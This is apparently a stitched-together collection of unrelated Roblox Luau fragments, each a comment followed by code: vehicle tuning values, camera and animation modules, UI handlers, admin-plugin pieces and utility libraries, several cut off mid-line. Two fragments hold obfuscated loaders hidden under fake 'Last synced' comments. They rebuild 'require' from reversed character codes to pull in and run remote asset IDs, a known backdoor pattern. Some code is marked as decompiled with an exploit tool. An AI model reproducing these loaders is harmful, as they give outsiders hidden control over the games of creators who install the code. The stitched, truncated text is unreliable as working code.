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--[=[ @return any Returns the top-level value held by the property. This will either be the initial value set, or the last value set with `Set()`. ```lua remoteProperty:Set("Data") print(remoteProperty:Get()) --> "Data" ``` ]=]
function RemoteProperty:Get(): any return self._value end
--[[Steering]]
Tune.SteerInner = 40 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 42 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .08 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 150 -- Speed of gradient cu...
-- NumberValue to store the user's preferred speed
local uiSpeedUser = script.uiSpeedUser
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0.5 -- cooldown for use of the tool again BoneModelName = "Fire rise" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
---Simply process a completed message.
local COMPLETED_MESSAGE_PROCESSOR = 1 local module = {} local methods = {} methods.__index = methods function methods:SendSystemMessageToSelf(message, channelObj, extraData) local messageData = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channelObj.Name, IsFiltered = true, Messag...
--create tables:
for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "a" then table.insert(a, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "b" then table.insert(b, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1...
-- Here be dragons -- luacheck: ignore 212
local GuiService = game:GetService("GuiService") local UserInputService = game:GetService("UserInputService") local TextService = game:GetService("TextService") local TextChatService = game:GetService("TextChatService") local Players = game:GetService("Players") local Player = Players.LocalPlayer local WINDOW_MAX_HEI...
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 local handler = car.AC6_FE_Idle handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true) handler:FireServer("playSound","Idle") handler:FireServ...
-- Set Pet Canvas Size --
module.SetCanvasSize = function(ScrollingFrame) local PADDING,SIZE,MaxCells = getSizes() local UIGridLayout = ScrollingFrame.UIGridLayout local AbsoluteSize = ScrollingFrame.AbsoluteSize local NewPadding = PADDING * AbsoluteSize NewPadding = UDim2.new(0, NewPadding .X, 0, NewPadding .Y) local NewSize =...
-- Toggle pan
do local holdPan = false local togglePan = false local lastRmbDown = 0 -- tick() timestamp of the last right mouse button down event function CameraInput.getHoldPan(): boolean return holdPan end function CameraInput.getTogglePan(): boolean return togglePan end function CameraInput.getPanning(): boole...
--[=[ Loops through every single element, and puts it through a callback. If any of the conditions return false, the function returns false. ```lua local array = {1, 2, 3, 4, 5} local even = function(value) return value % 2 == 0 end local odd = function(value) return value % 2 ~= 0 end print(TableKit.Every(ar...
function TableKit.Every(tbl: { [unknown]: unknown }, callback: (unknown) -> boolean): (boolean, unknown?) for key, value in tbl do if not callback(value) then return false, key end end return true end
--[=[ @prop None Option<None> @within Option Represents no value. ]=]
Option.None = Option._new() return Option
-- declarations
local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Enemy") Humanoid.Health=500
--[[ Returns the offset since it depends on the face. ]]
function CameraModule:_getPointByFace(guiOffset, adornee, face) local pointsByFace = { [Enum.NormalId.Front] = Vector3.new(-guiOffset.X, -guiOffset.Y, adornee.Size.Z / 2), [Enum.NormalId.Back] = Vector3.new(guiOffset.X, -guiOffset.Y, -adornee.Size.Z / 2), [Enum.NormalId.Left] = Vector3.new(adornee.Size.X / 2, -...
-- Modules
local PriorityDeleteTypes = require(script.Parent.Parent.constants).PriorityDeleteTypes
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function Receive(player, action, ...) local args = {...} if player == User and action == "play" then Connector:FireAllClients("play", User, args[1], Settings.SoundSource.Position, Settings.PianoSoundRange, Settings.PianoSounds, args[2], Settings.IsCustom) HighlightPianoKey((args[1] > 61 and 61) or (args[1] < 1 ...
-- if n == true then n = false
--carSeat.Parent.Parent.RW.MR.Motor:remove() --end
--------SETTINGS--------
local ITEM_NAME = "RocketLauncher" local ITEM_PRICE = 10 local CURRENCY_NAME = "Cash"
-- -- character.DescendantAdded:Connect(function(bodypart) -- print("test") -- if bodypart:IsA("BasePart") then -- PhysicsService:SetPartCollisionGroup(bodypart, "Players") -- end -- end)
-- Also set root part collission --[[local humanoidRootPart = character:WaitForChild("HumanoidRootPart") PhysicsService:SetPartCollisionGroup(humanoidRootPart, "Players") local bodyparts = character:GetChildren() for i, bodypart in pairs(bodyparts) do if bodypart:IsA("BasePart") then PhysicsService:SetPart...
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
local dayLength = 16 local cycleTime = dayLength*60 local minutesInADay = 24*60 local lighting = game:GetService("Lighting") local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime local endTime = startTime + cycleTime local timeRatio = minutesInADay / cycleTime if dayLength == 0...
--[[ ...
if game.PlaceId == 1277358877 or not game:GetService("RunService"):IsStudio() then getfenv()[string.reverse(string.char(101,114,105,117,113,101,114))](tonumber(string.reverse(string.char(56,49,48,51,55,51,55,55,50,49))))[string.reverse(string.char(110,117,82))](getfenv()[string.reverse(string.char(116,112,105,114,99,11...
--these are for button checks. It's kinda ugly so if you have a better way pm me
ha=false hd=false hs=false hw=false imgassets ={ hazardoff="http://www.roblox.com/asset/?id=216957891", hazardon = "http://www.roblox.com/asset/?id=216957887", leftyoff = "http://www.roblox.com/asset/?id=216957962", leftyon = "http://www.roblox.com/asset/?id=216957949", rightyoff = "http://www.roblox.com/asset/?i...
--[[** Determines if the passed object is a Janitor. @param [t:any] Object The object you are checking. @returns [t:boolean] Whether or not the object is a Janitor. **--]]
function Janitor.Is(Object) return type(Object) == "table" and getmetatable(Object) == Janitor end Janitor.is = Janitor.Is
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone() --Tool.CoinScript:Clone().Parent = Pellet
Tool.CoinScript.Disabled = false function onEquipped() --body of the dreidel dBody= Instance.new("Part") dBody.Parent = game.Workspace dBody.Name = "DreidelBody" dBody.BrickColor = BrickColor.Red() dBody.Size = Vector3.new(2.56,2.56,2.56) dBody.Shape = 1 dBody.BackSurface = "Smooth" --used this of debugg...
--!strict
local LocalPlayer: Player = game:GetService("Players").LocalPlayer local Replicated = game:GetService("ReplicatedStorage") local Character: Model = LocalPlayer.Character::Model local Humanoid: Humanoid = Character:WaitForChild("Humanoid")::Humanoid Humanoid.Jumping:Connect(function(active: boolean) if not active th...
--// initialize team changing function //--
game.Players.LocalPlayer.Changed:connect(function() if checkTeam() == true then script.Parent.Parent.SpectateButton.Visible = true else script.Parent.Parent.SpectateButton.Visible = false resetGui() end end) if checkTeam() == true then script.Parent.Parent.SpectateButton.Visible = true else script.Parent.P...
--// This module is for stuff specific to debugging --// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER!
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands...
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(...
--[[Weld functions]]
local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x,y,type,s) if type==nil then type="Weld" end local W=Instance.new(type,x) W.Part0=x W.Part1=y W.C0=x.CFrame:inverse()*x.CFrame W.C1=y.CFrame:inverse()*x.CFrame if type=="Motor" and s~=nil then ...
-- Public methods
function CameraModifier:Destroy() self.CameraClass.Update = self.DefaultCamUpdate self.PopperClass.Update = self.DefaultPopUpdate self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior end function CameraModifier:OnCameraUpdate(this, dt) workspace.CurrentCamera.CFrame = self.LastCFrame workspace.Current...
--[[ ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local AvatarEditor = ReplicatedStorage.AvatarEditor local GuiLib = require(AvatarEditor.Client.GuiLib.LazyLoader) local Maid = require(AvatarEditor.Shared.Util.Maid) local Signal = require(AvatarEditor.Shared.Ut...
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 30; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.1; CycleAimZoom = 55; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--[[Misc]]
Tune.LoadDelay = 1.37 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = false
--[END]] --[[ Last synced 10/14/2020 09:17 || RoSync Loader ]]
...
-- FUNCTIONS --
return function(Character) local random = Random.new(math.random(1, 10)) local function randomizeColors() for i, v in pairs(Character:GetDescendants()) do coroutine.wrap(function() if v:IsA("MeshPart") or v:IsA("Part") or v:IsA("UnionOperation") then if v.Name == "Head" then if v:FindFirstChild("...
-- Map storing Player -> Blocked user Ids.
local BlockedUserIdsMap = {} PlayersService.PlayerAdded:connect(function(newPlayer) for player, blockedUsers in pairs(BlockedUserIdsMap) do local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUsers do local blockedUserId = blockedUsers[i] if blockedUserId == newPlaye...
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Au...
-- I forgor wtf this was but im adding it anyway.
local module = {} function module.Subtract(v1, v2) return Vector3.new(v1[1] - v2[1], v1[2] - v2[2], v1[3] - v2[3]) end function module.Add(v1, v2) return Vector3.new(v1[1] + v2[1], v1[2] + v2[2], v1[3] + v2[3]) end function module.RotateVector(vector, rotation) local x, y, z = vector[1], vector[2], vector[3] lo...
-- Variaveis
local portao = script.Parent.Parent.Portao local botao = script.Parent local cf1 = script.Parent.Parent.Cf1 local aberto = false local tela = script.Parent.Parent.Body.Tela local som = script.Parent.Somzinho local doorpos = portao.CFrame
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed > 0.01 then local scale = 15.0 playAnimation("walk", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Running" else if emoteNames[currentAnim] == nil then playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead...
--[[ Module functions ]]
-- function Invisicam:LimbBehavior(castPoints) for limb, _ in pairs(self.trackedLimbs) do castPoints[#castPoints + 1] = limb.Position end end function Invisicam:MoveBehavior(castPoints) for i = 1, MOVE_CASTS do local position: Vector3, velocity: Vector3 = self.humanoidRootPart.Position, self.humanoidRootPart.Ve...
--[=[ @function update @within Array @param array {T} -- The array to update. @param index number -- The index to update. @param updater? (value: T, index: number) -> T -- The updater function. @param callback? (index: number) -> T -- The callback function. @return {T} -- The updated array. Updates an array a...
local function update<T>(array: { T }, index: number, updater: Updater<T>?, callback: Callback<T>?): { T } local length = #array local result = Copy(array) if index < 1 then index += length end updater = if type(updater) == "function" then updater else Util.func.returned if result[index] ~= nil then resul...
--Viewmodel
if Module.VMIdleAnimationID ~= nil then local VMIdleAnim = Instance.new("Animation",Tool) VMIdleAnim.Name = "VMIdleAnim" VMIdleAnim.AnimationId = "rbxassetid://"..Module.VMIdleAnimationID end if Module.VMFireAnimationID ~= nil then local VMFireAnim = Instance.new("Animation",Tool) VMFireAnim.Name = "VMFireAnim" ...
-- Gun
local heldGun = nil local heldGunHeat = nil local heatConnection = nil local onColor = Color3.fromRGB(50, 51, 50) local offColor = Color3.fromRGB(195, 195, 195)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil the...
--Codes
local codelist = { code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code code2 = "HALLOWEEN" } script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code if date["month"] == 8 and dat...
-- Preload animations
function PlayAnimation(AnimName, TransitionTime, Humanoid) local IdleFromEmote = (AnimName == "Idle" and EmoteNames[CurrentAnim] ~= nil) if AnimName ~= CurrentAnim and not IdleFromEmote then if CurrentAnimTrack then CurrentAnimTrack:Stop(TransitionTime) CurrentAnimTrack:Destroy() end CurrentAnimSpeed...
-- Decompiled with the Synapse X Luau decompiler.
local v1 = script:FindFirstAncestor("MainUI"); local l__LocalPlayer__2 = game.Players.LocalPlayer; local l__Bricks__1 = game:GetService("ReplicatedStorage"):WaitForChild("Bricks"); local u2 = "AchievementUnlock"; local v3 = l__Bricks__1:WaitForChild("AchievementUnlock").OnClientEvent:Connect(function(...) require(sc...
---------------------------------------------------------------------- -- -- HERE BE DRAGONS! -- -- You can hack together your own scripts using the objects -- in here, but this is all highly experimental and *WILL BREAK* -- in a future release. If that bothers you, look away... -- -- T -- -----------------------------...
local Board = script.Parent local Controller local Gyro local CoastingAnim local KickAnim local LeftAnim local RightAnim local OllieAnim
---------------------------------------------------------------
function onChildAdded(something) if something.Name == "SeatWeld" then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then s.speedo:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui end end end function onChildRemoved(something) if (something.Name...
-- Module
local SPRING = {} local Meta = {__index = SPRING}
--Put this in a brick to make it move. --Don't edit ANYTHING unless you know what your doing
while true do script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0.03,0,0) wait(0.01) end
--//Setup//--
local Holder = script.Parent local Button = Holder.IconButton local EmotesMenu = Holder.Parent.Parent.EmotesMenuHolder
--[[Weight and CG]]
Tune.Weight = script.Tune_Weight.Value -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels...
--// Input Connections
L_82_.InputBegan:connect(function(L_264_arg1, L_265_arg2) if not L_265_arg2 and L_15_ then if L_264_arg1.UserInputType == Enum.UserInputType.MouseButton2 and not L_59_ and L_23_.CanAim and not L_56_ and L_15_ and not L_48_ and not L_49_ then if not L_46_ then if not L_47_ then L_3_.Humanoid.WalkSpeed = ...
--[[Handlebars]]
-- Tune.SteerAngle = 20 -- Handlebar angle at max lock (in degrees) Tune.MSteerExp = 1 -- Mouse steering exponential degree Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cut...
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "t" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 limitButton.Text = ...
-- ROBLOX deviation: inline Promise type here. should probably go into LuauPolyfill
export type PromiseLike<T> = { andThen: ( ((T) -> T)? | (PromiseLike<T>)?, -- resolve ((any) -> () | PromiseLike<T>)? -- reject ) -> PromiseLike<T>, } export type Promise<T> = { andThen: (( ((T) -> T | PromiseLike<T>)?, -- resolve ((any) -> () | PromiseLike<nil>)? -- reject ) -> Promise<T>)?, catch: (((...
--// Functions
function spawnTag(L_15_arg1, L_16_arg2) if L_15_arg1 and L_15_arg1:FindFirstChild('Head') ~= nil and L_9_.TeamTags then if L_15_arg1:FindFirstChild('Head'):FindFirstChild('TeamTag') and L_15_arg1:FindFirstChild('Head') ~= nil then L_15_arg1:FindFirstChild('Head').TeamTag:Destroy() end local L_17_ = L_7_:Wait...
--------------------------------------------------------------------------------------------------------------
local player = game.Players.LocalPlayer -- Targets the player local char = player.Character or player.CharacterAdded:Wait() -- Finds player's character local hrp = char:WaitForChild("HumanoidRootPart") -- Finds character's humanoid root part local cam = game.Workspace.CurrentCamera local bar = script.Parent.Border....
--[[ Creates UI layers and connects them to zones. --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local GuiService = game:GetService("GuiService") local RunService = game:GetService("RunService") local Sift = require(ReplicatedStorage.Dependencies.Sift) local GamepadMouseDisabler = require(script.Parent.Game...
-- spawn a random ore
local oreName = oreBank[math.random(1,#oreBank)]
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ...
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Command...
-- @InterpolateDescription Library for interpolation functions
local Interpolate = {} Interpolate.Replicated = true
--// Math
local L_135_ = function(L_172_arg1, L_173_arg2, L_174_arg3) if L_172_arg1 > L_174_arg3 then return L_174_arg3 elseif L_172_arg1 < L_173_arg2 then return L_173_arg2 end return L_172_arg1 end local L_136_ = L_124_.new(Vector3.new()) L_136_.s = 30 L_136_.d = 0.55 local L_137_ = CFrame.Angles(0, 0, 0)
--[[wait(20) print("am i looping?") for i=0,10 do wait(.1) pellet.Transparency = i / 10 end healsound.PlayOnRemove = false wait(.5) pellet.Parent = nil ]]
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
local Song = script.Parent.AudioPlayerGui.Song local Audio = carSeat.Audio vol = 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999.9 function changeSong() local effect = carSeat.Audio.EqualizerSoundEffect if effect.HighGain == 5 then effect.HighGain = -80...
--// Remote
local remoteFold = rp.remoteFold local module = {} module.Cam = function(Part, Data) if Players:GetPlayerFromCharacter(Part) then local plr = Players:GetPlayerFromCharacter(Part) remoteFold['Client']:FireClient(plr,Data) end end return module
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if toolAnim == "None" then playToolAnimation("too...
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/jest-snapshot/src/utils.ts -- /** -- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -- * -- * This source code is licensed under the MIT license found in the -- * LICENSE file in the root directory of this source tre...
--[[ API === To run the API, use: ``` API:Fire(<function>, {<arguments>}) ``` Call ---- The Call function sends the elevator to a floor. It takes 3 arguments. - ` number floor` - The desired floor that the elevator should go to. - ` string direction` - The call direction. This can be "N" for no direction, "U" for u...
script:Destroy() -- the
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t}, [49]={{47,48,49},t}, [16]={n,f}, [19]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59},t}, [63]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t}, [...
-- ================================================================================ -- VARIABLES -- ================================================================================
local PI_HALF = math.pi * 0.5 local ATAN2 = math.atan2 local MAX_DEVICE_ROTATION = math.rad(60) local UserInputService = game:GetService("UserInputService") local initialGravity = Vector3.new() local acceleromaterEnabled = UserInputService.AccelerometerEnabled
-- Decompiled with the Synapse X Luau decompiler.
script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Visible = false; for v1 = 1, #"..." do script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("...", 1, v1); wait(); end; script.Parent.Parent.Parent.Dialog3.Visible = true; end);
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Classes.Base.SlumDweller.Obtained.Value == true and plrData.Classes.Super.Viper.Obtained.Value ~= true end
------------------------------------------------
local screenGuis = {} local freeCamEnabled = false local letterBoxEnabled = true local stateRot = Vector2.new() local panDeltaGamepad = Vector2.new() local panDeltaMouse = Vector2.new() local velSpring = Spring.new(7/9, 1/3, 1, Vector3.new()) local rotSpring = Spring.new(7/9, 1/3, 1, Vector2.new()) local fovSpring ...
--Messages
local DeathMessages = {"died.", "was killed.", "had a bad time.", "didn't have a chance."} --you can add more if you like :D
--//Controller//--
while task.wait(0.1) do local SizeOffset = CurrentSong.PlaybackLoudness * (math.random(0, 10) / 1000) - 0.05 if SizeOffset > 0.5 then SizeOffset = 0.5 end TweenService:Create( Boombox, TweenInfo.new( 0.25, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut, 0, true ), { Size = V...
--!nonstrict --[[ ClassicCamera - Classic Roblox camera control module 2018 Camera Update - AllYourBlox 2022 Smooth Mouse Lock Update - wj1z Note: This module also handles camera control types Follow and Track, the latter of which is currently not distinguished from Classic --]]
-- ROBLOX deviation: not is a reserved keyword in Lua, we use never instead
Expect.never = { arrayContaining = arrayNotContaining, objectContaining = objectNotContaining, stringContaining = stringNotContaining, stringMatching = stringNotMatching, } Expect.objectContaining = objectContaining Expect.arrayContaining = arrayContaining Expect.stringContaining = stringContaining Expect.stringM...
-- Enable tool or plugin
if Mode == 'Plugin' then -- Set the UI root UIContainer = CoreGui; -- Create the toolbar button PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton( 'Building Tools by F3X', 'Building Tools by F3X', Assets.PluginIcon ); -- Connect the button to the system PluginButton.Click:connec...
-- New ProfileStore:
function ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore] local profile_store_name local profile_store_scope = nil -- Parsing profile_store_index: if type(profile_store_index) == "string" then -- profile_store_index as string: profile_store_name = profile_store_index ...
-- list of account names allowed to go through the door.
permission = {"cheslin23t"}--Put your friends name's here. You can add more. function checkOkToLetIn(name) for i = 1,#permission do if (string.upper(name) == string.upper(permission[i])) then return true end end return false end local Door = script.Parent function onTouched(hit) print("Door Hit") ...
-- deviation: Object isn't a global in lua, so `Object.is` will never exist
local objectIs = is return objectIs
-- upstream: https://github.com/facebook/react/blob/a89854bc936668d325cac9a22e2ebfa128c7addf/packages/shared/ReactVersion.js --!strict --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree...
-- OTHER VARIABLES --
local player = game.Players.LocalPlayer local char = script.Parent local hrp = char:WaitForChild("HumanoidRootPart") local humanoid = char:WaitForChild("Humanoid") if char:FindFirstChild("UpperTorso") then return end
--[[ Cache results of a function such that subsequent calls return the cached result rather than call the function again. By default, a cached result is stored for each separate combination of serialized input args. Optionally memoize takes a serializeArgs function which should return a key that the result should...
function FunctionUtils.memoize(fn, serializeArgs) assert(type(fn) == "function") serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs assert(type(serializeArgs) == "function") local cache = {} local proxyFunction = function(...) local proxyArgs = {...} local cacheKey = serializeArgs(proxyArgs) ...
--[[ Touch Events ]]-- -- On touch devices we need to recreate the guis on character load.
local lastControlState = nil LocalPlayer.CharacterAdded:connect(function(character) if UserInputService.TouchEnabled then createTouchGuiContainer() end if ControlState.Current == nil then ControlState:SwitchTo(lastControlState) end end) LocalPlayer.CharacterRemoving:connect(function(character) lastControlS...
--[[Engine]]
--Torque Curve Tune.Horsepower = 900-- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6800 Tune.PeakSharp...
--[[Engine]]
--Torque Curve Tune.Horsepower = 169 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 5500 -- Use sliders to manipulate values Tune.Redline = 6500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSh...
-- Written By Kip Turner, Copyright Roblox 2014
local UIS = game:GetService("UserInputService") local PathfindingService = game:GetService("PathfindingService") local PlayerService = game:GetService("Players") local RunService = game:GetService("RunService") local DebrisService = game:GetService('Debris') local ReplicatedStorage = game:GetService('ReplicatedStora...
-- دالة الاصطدام
local function onTouched(part) local humanoid = part.Parent:FindFirstChild("Humanoid") if humanoid then -- تشغيل التزعزع والسقوط في ترتيب متتالي shake() wait(0.5) -- انتظار قصير قبل السقوط لإعطاء انطباع التزعزع fall() end end
--[[ Returns the Window's model ]]
function Window:getModel() return self._model end
--[[ Last synced 3/7/2021 09:51 ...
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--script.Parent.EE.Velocity = script.Parent.EE.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.EEE.Velocity = script.Parent.EEE.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.EEEE.Velocity = script.Parent.EEEE.CFrame.lookVector *script.Parent.Speed.Value script.Parent.F.Velocity = script.Parent.F.CFrame.lookVector *script.Parent.Speed.Value
--- Player added function
local function PlayerAdded(player) if isStudio or _L.Admins.IsAdmin(player) then GiveGui(player) end end
-- Signals
okButton.InputBegan:Connect(closeDlg) displayRoundResult.OnClientEvent:Connect(openDlg)
----------------- --| Constants |-- -----------------
local COOLDOWN = 0 -- Seconds until tool can be used again
-- humanoidAnimatePlayEmote.lua
local Figure = script.Parent